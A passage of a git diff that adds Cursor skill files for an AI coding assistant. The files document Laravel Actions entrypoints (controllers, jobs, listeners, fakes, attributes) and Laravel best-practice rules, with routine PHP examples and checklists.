function htmlResponse(Article $article, Request $request): Response +{ + return redirect()->route('articles.show', [$article]); +} +``` + +### `getControllerMiddleware` + +Adds middleware directly on the action controller. + +```php +public function getControllerMiddleware(): array +{ + return ['auth', MyCustomMiddleware::class]; +} +``` + +### `routes` + +Defines routes directly in the action. + +```php +public static function routes(Router $router) +{ + $router->get('author/{author}/articles', static::class); +} +``` + +To enable this, register routes from actions in a service provider: + +```php +use Lorisleiva\Actions\Facades\Actions; + +Actions::registerRoutes(); +Actions::registerRoutes('app/MyCustomActionsFolder'); +Actions::registerRoutes([ + 'app/Authentication', + 'app/Billing', + 'app/TeamManagement', +]); +``` + +### `prepareForValidation` + +Called before authorization and validation are resolved. + +```php +public function prepareForValidation(ActionRequest $request): void +{ + $request->merge(['some' => 'additional data']); +} +``` + +### `authorize` + +Defines authorization logic. + +```php +public function authorize(ActionRequest $request): bool +{ + return $request->user()->role === 'author'; +} +``` + +You can also return gate responses: + +```php +use Illuminate\Auth\Access\Response; + +public function authorize(ActionRequest $request): Response +{ + if ($request->user()->role !== 'author') { + return Response::deny('You must be an author to create a new article.'); + } + + return Response::allow(); +} +``` + +### `rules` + +Defines validation rules. + +```php +public function rules(): array +{ + return [ + 'title' => ['required', 'min:8'], + 'body' => ['required', IsValidMarkdown::class], + ]; +} +``` + +### `withValidator` + +Adds custom validation logic with an after hook. + +```php +use Illuminate\Validation\Validator; + +public function withValidator(Validator $validator, ActionRequest $request): void +{ + $validator->after(function (Validator $validator) use ($request) { + if (! Hash::check($request->get('current_password'), $request->user()->password)) { + $validator->errors()->add('current_password', 'Wrong password.'); + } + }); +} +``` + +### `afterValidator` + +Alternative to add post-validation checks. + +```php +use Illuminate\Validation\Validator; + +public function afterValidator(Validator $validator, ActionRequest $request): void +{ + if (! Hash::check($request->get('current_password'), $request->user()->password)) { + $validator->errors()->add('current_password', 'Wrong password.'); + } +} +``` + +### `getValidator` + +Provides a custom validator instead of default rules pipeline. + +```php +use Illuminate\Validation\Factory; +use Illuminate\Validation\Validator; + +public function getValidator(Factory $factory, ActionRequest $request): Validator +{ + return $factory->make($request->only('title', 'body'), [ + 'title' => ['required', 'min:8'], + 'body' => ['required', IsValidMarkdown::class], + ]); +} +``` + +### `getValidationData` + +Defines which data is validated (default: `$request->all()`). + +```php +public function getValidationData(ActionRequest $request): array +{ + return $request->all(); +} +``` + +### `getValidationMessages` + +Custom validation error messages. + +```php +public function getValidationMessages(): array +{ + return [ + 'title.required' => 'Looks like you forgot the title.', + 'body.required' => 'Is that really all you have to say?', + ]; +} +``` + +### `getValidationAttributes` + +Human-friendly names for request attributes. + +```php +public function getValidationAttributes(): array +{ + return [ + 'title' => 'headline', + 'body' => 'content', + ]; +} +``` + +### `getValidationRedirect` + +Custom redirect URL on validation failure. + +```php +public function getValidationRedirect(UrlGenerator $url): string +{ + return $url->to('/my-custom-redirect-url'); +} +``` + +### `getValidationErrorBag` + +Custom error bag name on validation failure (default: `default`). + +```php +public function getValidationErrorBag(): string +{ + return 'my_custom_error_bag'; +} +``` + +### `getValidationFailure` + +Override validation failure behavior. + +```php +public function getValidationFailure(): void +{ + throw new MyCustomValidationException(); +} +``` + +### `getAuthorizationFailure` + +Override authorization failure behavior. + +```php +public function getAuthorizationFailure(): void +{ + throw new MyCustomAuthorizationException(); +} +``` + +## Checklist + +- Route wiring points to the action class. +- `asController(...)` delegates to `handle(...)`. +- Validation/authorization methods are explicit where needed. +- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful. +- HTTP tests cover both success and validation/authorization failure branches. + +## Common pitfalls + +- Putting response/redirect logic in `handle(...)`. +- Duplicating business rules in `asController(...)` instead of delegating. +- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`. + +## References + +- https://www.laravelactions.com/2.x/as-controller.html \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/job.md b/.cursor/skills/laravel-actions/references/job.md new file mode 100644 index 000000000..b4c7cbea0 --- /dev/null +++ b/.cursor/skills/laravel-actions/references/job.md @@ -0,0 +1,425 @@ +# Job Entrypoint (`dispatch`, `asJob`) + +## Scope + +Use this reference when running an action through queues. + +## Recap + +- Lists async/sync dispatch helpers and conditional dispatch variants. +- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`. +- Documents queue assertion helpers for tests (`assertPushed*`). +- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling. + +## Recommended pattern + +- Dispatch with `Action::dispatch(...)` for async execution. +- Keep queue-specific orchestration in `asJob(...)`. +- Keep reusable business logic in `handle(...)`. + +## Methods provided (`AsJob` trait) + +### `dispatch` + +Dispatches the action asynchronously. + +```php +SendTeamReportEmail::dispatch($team); +``` + +### `dispatchIf` + +Dispatches asynchronously only if condition is met. + +```php +SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team); +``` + +### `dispatchUnless` + +Dispatches asynchronously unless condition is met. + +```php +SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team); +``` + +### `dispatchSync` + +Dispatches synchronously. + +```php +SendTeamReportEmail::dispatchSync($team); +``` + +### `dispatchNow` + +Alias of `dispatchSync`. + +```php +SendTeamReportEmail::dispatchNow($team); +``` + +### `dispatchAfterResponse` + +Dispatches synchronously after the HTTP response is sent. + +```php +SendTeamReportEmail::dispatchAfterResponse($team); +``` + +### `makeJob` + +Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains. + +```php +dispatch(SendTeamReportEmail::makeJob($team)); +``` + +### `makeUniqueJob` + +Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced. + +```php +dispatch(SendTeamReportEmail::makeUniqueJob($team)); +``` + +### `withChain` + +Attaches jobs to run after successful processing. + +```php +$chain = [ + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +]; + +CreateNewTeamReport::withChain($chain)->dispatch($team); +``` + +Equivalent using `Bus::chain(...)`: + +```php +use Illuminate\Support\Facades\Bus; + +Bus::chain([ + CreateNewTeamReport::makeJob($team), + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +])->dispatch(); +``` + +Chain assertion example: + +```php +use Illuminate\Support\Facades\Bus; + +Bus::fake(); + +Bus::assertChained([ + CreateNewTeamReport::makeJob($team), + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +]); +``` + +### `assertPushed` + +Asserts the action was queued. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertPushed(); +SendTeamReportEmail::assertPushed(3); +SendTeamReportEmail::assertPushed($callback); +SendTeamReportEmail::assertPushed(3, $callback); +``` + +`$callback` receives: +- Action instance. +- Dispatched arguments. +- `JobDecorator` instance. +- Queue name. + +### `assertNotPushed` + +Asserts the action was not queued. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertNotPushed(); +SendTeamReportEmail::assertNotPushed($callback); +``` + +### `assertPushedOn` + +Asserts the action was queued on a specific queue. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertPushedOn('reports'); +SendTeamReportEmail::assertPushedOn('reports', 3); +SendTeamReportEmail::assertPushedOn('reports', $callback); +SendTeamReportEmail::assertPushedOn('reports', 3, $callback); +``` + +## Methods used (`JobDecorator`) + +### `asJob` + +Called when dispatched as a job. Falls back to `handle(...)` if missing. + +```php +class SendTeamReportEmail +{ + use AsAction; + + public function handle(Team $team, bool $fullReport = false): void + { + // Prepare report and send it to all $team->users. + } + + public function asJob(Team $team): void + { + $this->handle($team, true); + } +} +``` + +### `getJobMiddleware` + +Adds middleware to the queued action. + +```php +public function getJobMiddleware(array $parameters): array +{ + return [new RateLimited('reports')]; +} +``` + +### `configureJob` + +Configures `JobDecorator` options. + +```php +use Lorisleiva\Actions\Decorators\JobDecorator; + +public function configureJob(JobDecorator $job): void +{ + $job->onConnection('my_connection') + ->onQueue('my_queue') + ->through(['my_middleware']) + ->chain(['my_chain']) + ->delay(60); +} +``` + +### `$jobConnection` + +Defines queue connection. + +```php +public string $jobConnection = 'my_connection'; +``` + +### `$jobQueue` + +Defines queue name. + +```php +public string $jobQueue = 'my_queue'; +``` + +### `$jobTries` + +Defines max attempts. + +```php +public int $jobTries = 10; +``` + +### `$jobMaxExceptions` + +Defines max unhandled exceptions before failure. + +```php +public int $jobMaxExceptions = 3; +``` + +### `$jobBackoff` + +Defines retry delay seconds. + +```php +public int $jobBackoff = 60; +``` + +### `getJobBackoff` + +Defines retry delay (int or per-attempt array). + +```php +public function getJobBackoff(): int +{ + return 60; +} + +public function getJobBackoff(): array +{ + return [30, 60, 120]; +} +``` + +### `$jobTimeout` + +Defines timeout in seconds. + +```php +public int $jobTimeout = 60 * 30; +``` + +### `$jobRetryUntil` + +Defines timestamp retry deadline. + +```php +public int $jobRetryUntil = 1610191764; +``` + +### `getJobRetryUntil` + +Defines retry deadline as `DateTime`. + +```php +public function getJobRetryUntil(): DateTime +{ + return now()->addMinutes(30); +} +``` + +### `getJobDisplayName` + +Customizes queued job display name. + +```php +public function getJobDisplayName(): string +{ + return 'Send team report email'; +} +``` + +### `getJobTags` + +Adds queue tags. + +```php +public function getJobTags(Team $team): array +{ + return ['report', 'team:'.$team->id]; +} +``` + +### `getJobUniqueId` + +Defines uniqueness key when using `ShouldBeUnique`. + +```php +public function getJobUniqueId(Team $team): int +{ + return $team->id; +} +``` + +### `$jobUniqueId` + +Static uniqueness key alternative. + +```php +public string $jobUniqueId = 'some_static_key'; +``` + +### `getJobUniqueFor` + +Defines uniqueness lock duration in seconds. + +```php +public function getJobUniqueFor(Team $team): int +{ + return $team->role === 'premium' ? 1800 : 3600; +} +``` + +### `$jobUniqueFor` + +Property alternative for uniqueness lock duration. + +```php +public int $jobUniqueFor = 3600; +``` + +### `getJobUniqueVia` + +Defines cache driver used for uniqueness lock. + +```php +public function getJobUniqueVia() +{ + return Cache::driver('redis'); +} +``` + +### `$jobDeleteWhenMissingModels` + +Property alternative for missing model handling. + +```php +public bool $jobDeleteWhenMissingModels = true; +``` + +### `getJobDeleteWhenMissingModels` + +Defines whether jobs with missing models are deleted. + +```php +public function getJobDeleteWhenMissingModels(): bool +{ + return true; +} +``` + +### `jobFailed` + +Handles job failure. Receives exception and dispatched parameters. + +```php +public function jobFailed(?Throwable $e, ...$parameters): void +{ + // Notify users, report errors, trigger compensations... +} +``` + +## Checklist + +- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`). +- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`). +- Retry/backoff/timeout policies are intentional. +- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required. +- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`). + +## Common pitfalls + +- Embedding domain logic only in `asJob(...)`. +- Forgetting uniqueness/timeout/retry controls on heavy jobs. +- Missing queue-specific assertions in tests. + +## References + +- https://www.laravelactions.com/2.x/as-job.html \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/listener.md b/.cursor/skills/laravel-actions/references/listener.md new file mode 100644 index 000000000..c5233001d --- /dev/null +++ b/.cursor/skills/laravel-actions/references/listener.md @@ -0,0 +1,81 @@ +# Listener Entrypoint (`asListener`) + +## Scope + +Use this reference when wiring actions to domain/application events. + +## Recap + +- Shows how listener execution maps event payloads into `handle(...)` arguments. +- Describes `asListener(...)` fallback behavior and adaptation role. +- Includes event registration example for provider wiring. +- Emphasizes test focus on dispatch and action interaction. + +## Recommended pattern + +- Register action listener in `EventServiceProvider` (or project equivalent). +- Use `asListener(Event $event)` for event adaptation. +- Delegate core logic to `handle(...)`. + +## Methods used (`ListenerDecorator`) + +### `asListener` + +Called when executed as an event listener. If missing, it falls back to `handle(...)`. + +```php +class SendOfferToNearbyDrivers +{ + use AsAction; + + public function handle(Address $source, Address $destination): void + { + // ... + } + + public function asListener(TaxiRequested $event): void + { + $this->handle($event->source, $event->destination); + } +} +``` + +## Examples + +### Event registration + +```php +// app/Providers/EventServiceProvider.php +protected $listen = [ + TaxiRequested::class => [ + SendOfferToNearbyDrivers::class, + ], +]; +``` + +### Focused listener test + +```php +use Illuminate\Support\Facades\Event; + +Event::fake(); + +TaxiRequested::dispatch($source, $destination); + +Event::assertDispatched(TaxiRequested::class); +``` + +## Checklist + +- Event-to-listener mapping is registered. +- Listener method signature matches event contract. +- Listener tests verify dispatch and action interaction. + +## Common pitfalls + +- Assuming automatic listener registration when explicit mapping is required. +- Re-implementing business logic in `asListener(...)`. + +## References + +- https://www.laravelactions.com/2.x/as-listener.html \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/object.md b/.cursor/skills/laravel-actions/references/object.md new file mode 100644 index 000000000..6a90be4d5 --- /dev/null +++ b/.cursor/skills/laravel-actions/references/object.md @@ -0,0 +1,118 @@ +# Object Entrypoint (`run`, `make`, DI) + +## Scope + +Use this reference when the action is invoked as a plain object. + +## Recap + +- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`. +- Clarifies when to use static helpers versus DI/manual invocation. +- Includes minimal examples for direct run and service-level injection. +- Highlights boundaries: business logic stays in `handle(...)`. + +## Recommended pattern + +- Keep core business logic in `handle(...)`. +- Prefer `Action::run(...)` for readability. +- Use `Action::make()->handle(...)` or DI only when needed. + +## Methods provided + +### `make` + +Resolves the action from the container. + +```php +PublishArticle::make(); + +// Equivalent to: +app(PublishArticle::class); +``` + +### `run` + +Resolves and executes the action. + +```php +PublishArticle::run($articleId); + +// Equivalent to: +PublishArticle::make()->handle($articleId); +``` + +### `runIf` + +Resolves and executes the action only if the condition is met. + +```php +PublishArticle::runIf($shouldPublish, $articleId); + +// Equivalent mental model: +if ($shouldPublish) { + PublishArticle::run($articleId); +} +``` + +### `runUnless` + +Resolves and executes the action only if the condition is not met. + +```php +PublishArticle::runUnless($alreadyPublished, $articleId); + +// Equivalent mental model: +if (! $alreadyPublished) { + PublishArticle::run($articleId); +} +``` + +## Checklist + +- Input/output types are explicit. +- `handle(...)` has no transport concerns. +- Business behavior is covered by direct `handle(...)` tests. + +## Common pitfalls + +- Putting HTTP/CLI/queue concerns in `handle(...)`. +- Calling adapters from `handle(...)` instead of the reverse. + +## References + +- https://www.laravelactions.com/2.x/as-object.html + +## Examples + +### Minimal object-style invocation + +```php +final class PublishArticle +{ + use AsAction; + + public function handle(int $articleId): bool + { + // Domain logic... + return true; + } +} + +$published = PublishArticle::run(42); +``` + +### Dependency injection invocation + +```php +final class ArticleService +{ + public function __construct( + private PublishArticle $publishArticle + ) {} + + public function publish(int $articleId): bool + { + return $this->publishArticle->handle($articleId); + } +} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/testing-fakes.md b/.cursor/skills/laravel-actions/references/testing-fakes.md new file mode 100644 index 000000000..97766e6ce --- /dev/null +++ b/.cursor/skills/laravel-actions/references/testing-fakes.md @@ -0,0 +1,160 @@ +# Testing and Action Fakes + +## Scope + +Use this reference when isolating action orchestration in tests. + +## Recap + +- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`). +- Clarifies when to assert execution versus non-execution. +- Covers fake lifecycle checks/reset (`isFake`, `clearFake`). +- Provides branch-oriented test examples for orchestration confidence. + +## Core methods + +- `mock()` +- `partialMock()` +- `spy()` +- `shouldRun()` +- `shouldNotRun()` +- `allowToRun()` +- `isFake()` +- `clearFake()` + +## Recommended pattern + +- Test `handle(...)` directly for business rules. +- Test entrypoints for wiring/orchestration. +- Fake only at the boundary under test. + +## Methods provided (`AsFake` trait) + +### `mock` + +Swaps the action with a full mock. + +```php +FetchContactsFromGoogle::mock() + ->shouldReceive('handle') + ->with(42) + ->andReturn(['Loris', 'Will', 'Barney']); +``` + +### `partialMock` + +Swaps the action with a partial mock. + +```php +FetchContactsFromGoogle::partialMock() + ->shouldReceive('fetch') + ->with('some_google_identifier') + ->andReturn(['Loris', 'Will', 'Barney']); +``` + +### `spy` + +Swaps the action with a spy. + +```php +$spy = FetchContactsFromGoogle::spy() + ->allows('handle') + ->andReturn(['Loris', 'Will', 'Barney']); + +// ... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +### `shouldRun` + +Helper adding expectation on `handle`. + +```php +FetchContactsFromGoogle::shouldRun(); + +// Equivalent to: +FetchContactsFromGoogle::mock()->shouldReceive('handle'); +``` + +### `shouldNotRun` + +Helper adding negative expectation on `handle`. + +```php +FetchContactsFromGoogle::shouldNotRun(); + +// Equivalent to: +FetchContactsFromGoogle::mock()->shouldNotReceive('handle'); +``` + +### `allowToRun` + +Helper allowing `handle` on a spy. + +```php +$spy = FetchContactsFromGoogle::allowToRun() + ->andReturn(['Loris', 'Will', 'Barney']); + +// ... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +### `isFake` + +Returns whether the action has been swapped with a fake. + +```php +FetchContactsFromGoogle::isFake(); // false +FetchContactsFromGoogle::mock(); +FetchContactsFromGoogle::isFake(); // true +``` + +### `clearFake` + +Clears the fake instance, if any. + +```php +FetchContactsFromGoogle::mock(); +FetchContactsFromGoogle::isFake(); // true +FetchContactsFromGoogle::clearFake(); +FetchContactsFromGoogle::isFake(); // false +``` + +## Examples + +### Orchestration test + +```php +it('runs sync contacts for premium teams', function () { + SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue(); + + ImportTeamContacts::run(42, isPremium: true); +}); +``` + +### Guard-clause test + +```php +it('does not run sync when integration is disabled', function () { + SyncGoogleContacts::shouldNotRun(); + + ImportTeamContacts::run(42, integrationEnabled: false); +}); +``` + +## Checklist + +- Assertions verify call intent and argument contracts. +- Fakes are cleared when leakage risk exists. +- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer. + +## Common pitfalls + +- Over-mocking and losing behavior confidence. +- Asserting only dispatch, not business correctness. + +## References + +- https://www.laravelactions.com/2.x/as-fake.html \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/troubleshooting.md b/.cursor/skills/laravel-actions/references/troubleshooting.md new file mode 100644 index 000000000..cf6a5800f --- /dev/null +++ b/.cursor/skills/laravel-actions/references/troubleshooting.md @@ -0,0 +1,33 @@ +# Troubleshooting + +## Scope + +Use this reference when action wiring behaves unexpectedly. + +## Recap + +- Provides a fast triage flow for routing, queueing, events, and command wiring. +- Lists recurring failure patterns and where to check first. +- Encourages reproducing issues with focused tests before broad debugging. +- Separates wiring diagnostics from domain logic verification. + +## Fast checks + +- Action class uses `AsAction`. +- Namespace and autoloading are correct. +- Entrypoint wiring (route, queue, event, command) is registered. +- Method signatures and argument types match caller expectations. + +## Failure patterns + +- Controller route points to wrong class. +- Queue worker/config mismatch. +- Listener mapping not loaded. +- Command signature mismatch. +- Command not registered in the console kernel. + +## Debug checklist + +- Reproduce with a focused failing test. +- Validate wiring layer first, then domain behavior. +- Isolate dependencies with fakes/spies where appropriate. \ No newline at end of file diff --git a/.cursor/skills/laravel-actions/references/with-attributes.md b/.cursor/skills/laravel-actions/references/with-attributes.md new file mode 100644 index 000000000..1b28cf2cb --- /dev/null +++ b/.cursor/skills/laravel-actions/references/with-attributes.md @@ -0,0 +1,189 @@ +# With Attributes (`WithAttributes` trait) + +## Scope + +Use this reference when an action stores and validates input via internal attributes instead of method arguments. + +## Recap + +- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers). +- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params). +- Lists validation/authorization hooks reused from controller validation pipeline. +- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`. + +## Methods provided (`WithAttributes` trait) + +### `setRawAttributes` + +Replaces all attributes with the provided payload. + +```php +$action->setRawAttributes([ + 'key' => 'value', +]); +``` + +### `fill` + +Merges provided attributes into existing attributes. + +```php +$action->fill([ + 'key' => 'value', +]); +``` + +### `fillFromRequest` + +Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide. + +```php +$action->fillFromRequest($request); +``` + +### `all` + +Returns all attributes. + +```php +$action->all(); +``` + +### `only` + +Returns attributes matching the provided keys. + +```php +$action->only('title', 'body'); +``` + +### `except` + +Returns attributes excluding the provided keys. + +```php +$action->except('body'); +``` + +### `has` + +Returns whether an attribute exists for the given key. + +```php +$action->has('title'); +``` + +### `get` + +Returns the attribute value by key, with optional default. + +```php +$action->get('title'); +$action->get('title', 'Untitled'); +``` + +### `set` + +Sets an attribute value by key. + +```php +$action->set('title', 'My blog post'); +``` + +### `__get` + +Accesses attributes as object properties. + +```php +$action->title; +``` + +### `__set` + +Updates attributes as object properties. + +```php +$action->title = 'My blog post'; +``` + +### `__isset` + +Checks attribute existence as object properties. + +```php +isset($action->title); +``` + +### `validateAttributes` + +Runs authorization and validation using action attributes and returns validated data. + +```php +$validatedData = $action->validateAttributes(); +``` + +## Methods used (`AttributeValidator`) + +`WithAttributes` uses the same authorization/validation hooks as `AsController`: + +- `prepareForValidation` +- `authorize` +- `rules` +- `withValidator` +- `afterValidator` +- `getValidator` +- `getValidationData` +- `getValidationMessages` +- `getValidationAttributes` +- `getValidationRedirect` +- `getValidationErrorBag` +- `getValidationFailure` +- `getAuthorizationFailure` + +## Example + +```php +class CreateArticle +{ + use AsAction; + use WithAttributes; + + public function rules(): array + { + return [ + 'title' => ['required', 'string', 'min:8'], + 'body' => ['required', 'string'], + ]; + } + + public function handle(array $attributes): Article + { + return Article::create($attributes); + } +} + +$action = CreateArticle::make()->fill([ + 'title' => 'My first post', + 'body' => 'Hello world', +]); + +$validated = $action->validateAttributes(); +$article = $action->handle($validated); +``` + +## Checklist + +- Attribute keys are explicit and stable. +- Validation rules match expected attribute shape. +- `validateAttributes()` is called before side effects when needed. +- Validation/authorization hooks are tested in focused unit tests. + +## Common pitfalls + +- Mixing attribute-based and argument-based flows inconsistently in the same action. +- Assuming route params override request input in `fillFromRequest` (they do not). +- Skipping `validateAttributes()` when using external input. + +## References + +- https://www.laravelactions.com/2.x/with-attributes.html \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/SKILL.md b/.cursor/skills/laravel-best-practices/SKILL.md new file mode 100644 index 000000000..99018f3ae --- /dev/null +++ b/.cursor/skills/laravel-best-practices/SKILL.md @@ -0,0 +1,190 @@ +--- +name: laravel-best-practices +description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns." +license: MIT +metadata: + author: laravel +--- + +# Laravel Best Practices + +Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`. + +## Consistency First + +Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern. + +Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides. + +## Quick Reference + +### 1. Database Performance → `rules/db-performance.md` + +- Eager load with `with()` to prevent N+1 queries +- Enable `Model::preventLazyLoading()` in development +- Select only needed columns, avoid `SELECT *` +- `chunk()` / `chunkById()` for large datasets +- Index columns used in `WHERE`, `ORDER BY`, `JOIN` +- `withCount()` instead of loading relations to count +- `cursor()` for memory-efficient read-only iteration +- Never query in Blade templates + +### 2. Advanced Query Patterns → `rules/advanced-queries.md` + +- `addSelect()` subqueries over eager-loading entire has-many for a single value +- Dynamic relationships via subquery FK + `belongsTo` +- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries +- `setRelation()` to prevent circular N+1 queries +- `whereIn` + `pluck()` over `whereHas` for better index usage +- Two simple queries can beat one complex query +- Compound indexes matching `orderBy` column order +- Correlated subqueries in `orderBy` for has-many sorting (avoid joins) + +### 3. Security → `rules/security.md` + +- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates +- No raw SQL with user input — use Eloquent or query builder +- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes +- Validate MIME type, extension, and size for file uploads +- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields + +### 4. Caching → `rules/caching.md` + +- `Cache::remember()` over manual get/put +- `Cache::flexible()` for stale-while-revalidate on high-traffic data +- `Cache::memo()` to avoid redundant cache hits within a request +- Cache tags to invalidate related groups +- `Cache::add()` for atomic conditional writes +- `once()` to memoize per-request or per-object lifetime +- `Cache::lock()` / `lockForUpdate()` for race conditions +- Failover cache stores in production + +### 5. Eloquent Patterns → `rules/eloquent.md` + +- Correct relationship types with return type hints +- Local scopes for reusable query constraints +- Global scopes sparingly — document their existence +- Attribute casts in the `casts()` method +- Cast date columns, use Carbon instances in templates +- `whereBelongsTo($model)` for cleaner queries +- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries + +### 6. Validation & Forms → `rules/validation.md` + +- Form Request classes, not inline validation +- Array notation `['required', 'email']` for new code; follow existing convention +- `$request->validated()` only — never `$request->all()` +- `Rule::when()` for conditional validation +- `after()` instead of `withValidator()` + +### 7. Configuration → `rules/config.md` + +- `env()` only inside config files +- `App::environment()` or `app()->isProduction()` +- Config, lang files, and constants over hardcoded text + +### 8. Testing Patterns → `rules/testing.md` + +- `LazilyRefreshDatabase` over `RefreshDatabase` for speed +- `assertModelExists()` over raw `assertDatabaseHas()` +- Factory states and sequences over manual overrides +- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before +- `recycle()` to share relationship instances across factories + +### 9. Queue & Job Patterns → `rules/queue-jobs.md` + +- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]` +- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency +- Always implement `failed()`; with `retryUntil()`, set `$tries = 0` +- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs +- Horizon for complex multi-queue scenarios + +### 10. Routing & Controllers → `rules/routing.md` + +- Implicit route model binding +- Scoped bindings for nested resources +- `Route::resource()` or `apiResource()` +- Methods under 10 lines — extract to actions/services +- Type-hint Form Requests for auto-validation + +### 11. HTTP Client → `rules/http-client.md` + +- Explicit `timeout` and `connectTimeout` on every request +- `retry()` with exponential backoff for external APIs +- Check response status or use `throw()` +- `Http::pool()` for concurrent independent requests +- `Http::fake()` and `preventStrayRequests()` in tests + +### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md` + +- Event discovery over manual registration; `event:cache` in production +- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions +- Queue notifications and mailables with `ShouldQueue` +- On-demand notifications for non-user recipients +- `HasLocalePreference` on notifiable models +- `assertQueued()` not `assertSent()` for queued mailables +- Markdown mailables for transactional emails + +### 13. Error Handling → `rules/error-handling.md` + +- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern +- `ShouldntReport` for exceptions that should never log +- Throttle high-volume exceptions to protect log sinks +- `dontReportDuplicates()` for multi-catch scenarios +- Force JSON rendering for API routes +- Structured context via `context()` on exception classes + +### 14. Task Scheduling → `rules/scheduling.md` + +- `withoutOverlapping()` on variable-duration tasks +- `onOneServer()` on multi-server deployments +- `runInBackground()` for concurrent long tasks +- `environments()` to restrict to appropriate environments +- `takeUntilTimeout()` for time-bounded processing +- Schedule groups for shared configuration + +### 15. Architecture → `rules/architecture.md` + +- Single-purpose Action classes; dependency injection over `app()` helper +- Prefer official Laravel packages and follow conventions, don't override defaults +- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety +- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution + +### 16. Migrations → `rules/migrations.md` + +- Generate migrations with `php artisan make:migration` +- `constrained()` for foreign keys +- Never modify migrations that have run in production +- Add indexes in the migration, not as an afterthought +- Mirror column defaults in model `$attributes` +- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes +- One concern per migration — never mix DDL and DML + +### 17. Collections → `rules/collections.md` + +- Higher-order messages for simple collection operations +- `cursor()` vs. `lazy()` — choose based on relationship needs +- `lazyById()` when updating records while iterating +- `toQuery()` for bulk operations on collections + +### 18. Blade & Views → `rules/blade-views.md` + +- `$attributes->merge()` in component templates +- Blade components over `@include`; `@pushOnce` for per-component scripts +- View Composers for shared view data +- `@aware` for deeply nested component props + +### 19. Conventions & Style → `rules/style.md` + +- Follow Laravel naming conventions for all entities +- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions +- No JS/CSS in Blade, no HTML in PHP classes +- Code should be readable; comments only for config files + +## How to Apply + +Always use a sub-agent to read rule files and explore this skill's content. + +1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10) +2. Check sibling files for existing patterns — follow those first per Consistency First +3. Verify API syntax with `search-docs` for the installed Laravel version \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/advanced-queries.md b/.cursor/skills/laravel-best-practices/rules/advanced-queries.md new file mode 100644 index 000000000..920714a14 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/advanced-queries.md @@ -0,0 +1,106 @@ +# Advanced Query Patterns + +## Use `addSelect()` Subqueries for Single Values from Has-Many + +Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries. + +```php +public function scopeWithLastLoginAt($query): void +{ + $query->addSelect([ + 'last_login_at' => Login::select('created_at') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1), + 